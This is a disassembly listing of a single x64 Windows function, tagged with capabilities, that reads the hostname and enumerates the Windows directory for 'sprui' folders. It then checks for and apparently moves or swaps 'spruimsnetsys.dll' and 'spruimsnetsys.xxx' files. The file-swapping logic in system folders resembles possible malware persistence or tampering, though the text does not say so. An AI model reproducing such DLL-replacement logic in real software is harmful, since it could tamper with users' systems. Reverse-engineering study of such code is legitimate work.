Function at 0x14004fd10
Capabilities:
Check if file exists
Enumerate files on windows
Get common file path
Get hostname
Move file

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x868]
sub rsp, 0x950
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140132280]
xor rax, rsp
mov qword [rbp + 0x840], rax
mov r14, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140043700
nop
mov edx, 1
mov rcx, r14
call fcn.140043bd0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x510]
call fcn.140065dd0
mov dword [rsp + 0x28], 0x104
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x510]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rbp + 0x1e0]
call fcn.140045f40
xor r15d, r15d
mov ecx, r15d
nop dword [rax + rax]
movzx eax, byte [rbp + rcx + 0x1e0]
mov byte [rbp + rcx + 0x2f0], al
lea rcx, [rcx + 1]
test al, al
jne 0x14004fdc0
lea rcx, [rbp + 0x2f0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x14004fde1
mov eax, dword [0x1401038d0]
mov dword [rcx], eax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140050062
test byte [rsp + 0x60], 0x10
je 0x140050031
movzx ecx, byte [rbp - 0x74]
movzx eax, byte [rbp - 0x73]
cmp cl, byte [0x140101908]
jne 0x14004fe38
cmp al, byte [0x140101909]
je 0x140050031
cmp cl, byte [0x1401038d4]
jne 0x14004fe58
cmp al, byte [0x1401038d5]
jne 0x14004fe58
movzx eax, byte [rbp - 0x72]
cmp al, byte [0x1401038d6]
je 0x140050031
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rbp + 0x1e0]
call fcn.140045f40
lea rcx, [rbp + 0x1e0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x14004fe80
lea r8, [rbp - 0x74]
xor edx, edx
nop
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14004fe90
lea rcx, [rbp + 0x1e0]
call fcn.140045f40
mov rcx, r15
nop
movzx eax, byte [rbp + rcx + 0x1e0]
mov byte [rbp + rcx + 0x2f0], al
lea rcx, [rcx + 1]
test al, al
jne 0x14004feb0
lea rcx, [rbp + 0x2f0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x14004fed1
mov eax, dword [str.sprui.]
mov dword [rcx], eax
movzx eax, word [0x1400d4c58]
mov word [rcx + 4], ax
movzx eax, byte [0x1400d4c5a]
mov byte [rcx + 6], al
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140050031
nop dword [rax + rax]
test byte [rbp + 0xa0], 0x10
je 0x14004fffc
mov rdx, r15
movzx ecx, byte [rbp + rdx + 0x1e0]
mov byte [rbp + rdx + 0x2f0], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004ff30
lea rax, [rbp + 0x2f0]
dec rax
lea rax, [rax + 1]
cmp byte [rax], r15b
jne 0x14004ff51
lea r8, [rbp + 0xcc]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004ff70
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x1e0]
mov byte [rbp + rcx + 0x400], al
lea rcx, [rcx + 1]
test al, al
jne 0x14004ff90
lea rax, [rbp + 0x2f0]
or rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r15b
jne 0x14004ffb2
inc rcx
call fcn.140063b18
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x400]
mov r8, rax
sub r8, rcx
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [r8 + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004ffe0
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140043960
xor edx, edx
mov r8d, 0x140
lea rcx, [rbp + 0xa0]
call fcn.140065dd0
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14004ff20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
mov r8d, 0x140
lea rcx, [rsp + 0x60]
call fcn.140065dd0
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14004fe11
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x30]
call fcn.140043de0
mov rdi, rax
test rax, rax
je 0x14005030c
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140043e40
mov rsi, rax
mov rcx, rdi
call fcn.140043dd0
mov rbx, rax
test rax, rax
je 0x1400502f0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x620]
call fcn.140065dd0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x400]
call fcn.140065dd0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x730]
call fcn.140065dd0
mov qword [rsp + 0x20], r15
mov rcx, rbx
mov r8, rbx
neg r8
lea rdx, [rbp + 0x620]
add rdx, r8
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140050100
lea rcx, [rbp + 0x620]
dec rcx
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x140050120
movups xmm0, xmmword [str.spruimsnetsys.dll]
movups xmmword [rcx], xmm0
movzx eax, word [0x1400d4c70]
mov word [rcx + 0x10], ax
movzx eax, byte [0x1400d4c72]
mov byte [rcx + 0x12], al
mov rcx, rbx
lea rdx, [rbp + 0x400]
add rdx, r8
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140050160
lea rcx, [rbp + 0x400]
dec rcx
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x140050180
movups xmm0, xmmword [str.spruimsnetsys.xxx]
movups xmmword [rcx], xmm0
movzx eax, word [0x1400d4c88]
mov word [rcx + 0x10], ax
movzx eax, byte [0x1400d4c8a]
mov byte [rcx + 0x12], al
mov rcx, rbx
lea rdx, [rbp + 0x730]
add rdx, r8
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400501c0
lea rcx, [rbp + 0x730]
dec rcx
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r15b
jne 0x1400501e0
mov eax, dword [str.sprui]
mov dword [rcx], eax
movzx eax, word [0x1400d4c90]
mov word [rcx + 4], ax
lea rcx, [rbp + 0x620]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1400502be
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x620]
call fcn.14007fc20
test eax, eax
jne 0x140050275
lea rcx, [rbp + 0x400]
call fcn.14007df8c
mov qword [rsp + 0x20], rbx
mov rcx, rbx
test eax, eax
je 0x1400502c6
call fcn.14004c7b0
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x510]
call fcn.140046b50
lea rax, [rbp + 0x400]
jmp 0x1400502d2
lea rcx, [rbp + 0x620]
call fcn.14007df8c
test eax, eax
je 0x140050300
mov qword [rsp + 0x20], rbx
mov rcx, rbx
call fcn.14004c7b0
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x510]
call fcn.140046b50
lea rax, [rbp + 0x620]
jmp 0x1400502d2
mov qword [rsp + 0x20], rbx
mov rcx, rbx
call fcn.14004c7b0
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x510]
call fcn.140046b50
jmp 0x140050300
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140043f40
mov rdi, rsi
test rsi, rsi
jne 0x140050080
mov rcx, r14
call fcn.140043d80
mov ebx, eax
lea rcx, [rsp + 0x30]
call fcn.140043750
mov eax, ebx
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.140063ed0
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret